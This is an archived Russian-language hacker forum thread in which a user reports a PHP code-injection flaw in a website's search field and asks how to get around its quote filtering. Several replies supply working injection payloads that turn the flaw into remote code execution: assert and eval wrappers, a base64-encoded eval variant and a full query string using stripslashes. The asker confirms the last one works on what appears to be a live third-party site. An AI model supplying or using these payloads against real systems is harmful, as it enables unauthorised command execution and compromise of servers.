Просмотр полной версии : php injection обход логики
Avtoritet
26.09.2012, 15:26
На сайте найдена уязвимость в строке поиска забиваешь {${phpinfo()}} и получаешь всю раскладочку по нему. когда вбиваешь ковычку он её меняет на \ и удаляет всё что после. а каждую \ умножает на 2. как обойти логику?
Avtoritet said:
На сайте найдена уязвимость в строке поиска забиваешь {${phpinfo()}} и получаешь всю раскладочку по нему. когда вбиваешь ковычку он её меняет на \ и удаляет всё что после. а каждую \ умножает на 2. как обойти логику?
Можно попробовать:
Code:
{${assert($_GET[12])}}
Если _ тоже фильтруется, можно использовать PHP-функции для работы с массивами, наподобие end, restet, prev и использовать их по отношению к $GLOBALS или использовать функции(При фильтровании$), значение которых можно устанавливать самим, в названии которой не содержится фильтруемых символов, однако в зависимости от сборки таких может не быть.
UDP:
Для каждого отдельного случая нужно самостоятельно подбирать вариации кода.
Avtoritet
26.09.2012, 15:53
XAMEHA said:
Можно попробовать:
Code:
{${assert($_GET[12])}}
Если
_
тоже фильтруется, можно использовать PHP-функции для работы с массивами, наподобие end, restet, prev и использовать их по отношению к
$GLOBALS
или использовать функции(При фильтровании
$
), значение которых можно устанавливать самим, в названии которой не содержится фильтруемых символов, однако в зависимости от сборки таких может нет быть.
Warning: assert() [function.assert]: Assertion failed in /var/www/...../www/netcat/require/s_list.inc.php(292) : eval()'d code on line 1
вот что выпало
Что мешает написать прямо так {${eval($_GET[cmd])}} .
Готовый шелл прямо
Можно еще загонять в base64, с его помощью можно передавать большие запросы не боясь фильтра кавычек!
{${eval(base64_decode($_POST[e]))}}
Avtoritet
26.09.2012, 16:45
C.php said:
Что мешает написать прямо так {${eval($_GET[cmd])}} .
Готовый шелл прямо
как не странно, такой обрабатывает корректно. и пишет по вашему запросу ничего не найдено.
Avtoritet
26.09.2012, 16:52
cat1vo said:
Можно еще загонять в base64, с его помощью можно передавать большие запросы не боясь фильтра кавычек!
амперсанта фильтруется тоже.
Avtoritet
26.09.2012, 16:55
когда вбиваешь {${print(2)}} он выводит 22
HAXTA4OK
27.09.2012, 00:03
Avtoritet said:
как не странно, такой обрабатывает корректно. и пишет по вашему запросу ничего не найдено.
?action=index&text={${eval($_GET[cmd])}}&cmd=phpinfo();
как я понял у тебя MQ= on и ты сразу не можешь вставить код с кавычкой :
?action=index&text={${eval(stripslashes($_GET[cmd]))}}&cmd=echo 'fff';
Avtoritet
27.09.2012, 10:38
HAXTA4OK said:
?action=index&text={${eval($_GET[cmd])}}&cmd=phpinfo();
как я понял у тебя MQ= on и ты сразу не можешь вставить код с кавычкой :
?action=index&text={${eval(stripslashes($_GET[cmd]))}}&cmd=echo 'fff';
Долго думает потом опера выдаёт следующее:
Could not locate remote server
Check that the address is spelled correctly, or try searching for the site.
Avtoritet
27.09.2012, 10:45
HAXTA4OK said:
?action=index&text={${eval($_GET[cmd])}}&cmd=phpinfo();
как я понял у тебя MQ= on и ты сразу не можешь вставить код с кавычкой :
?action=index&text={${eval(stripslashes($_GET[cmd]))}}&cmd=echo 'fff';
ты реально крут! всё работате 10+
HAXTA4OK
27.09.2012, 11:03
закрыто
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot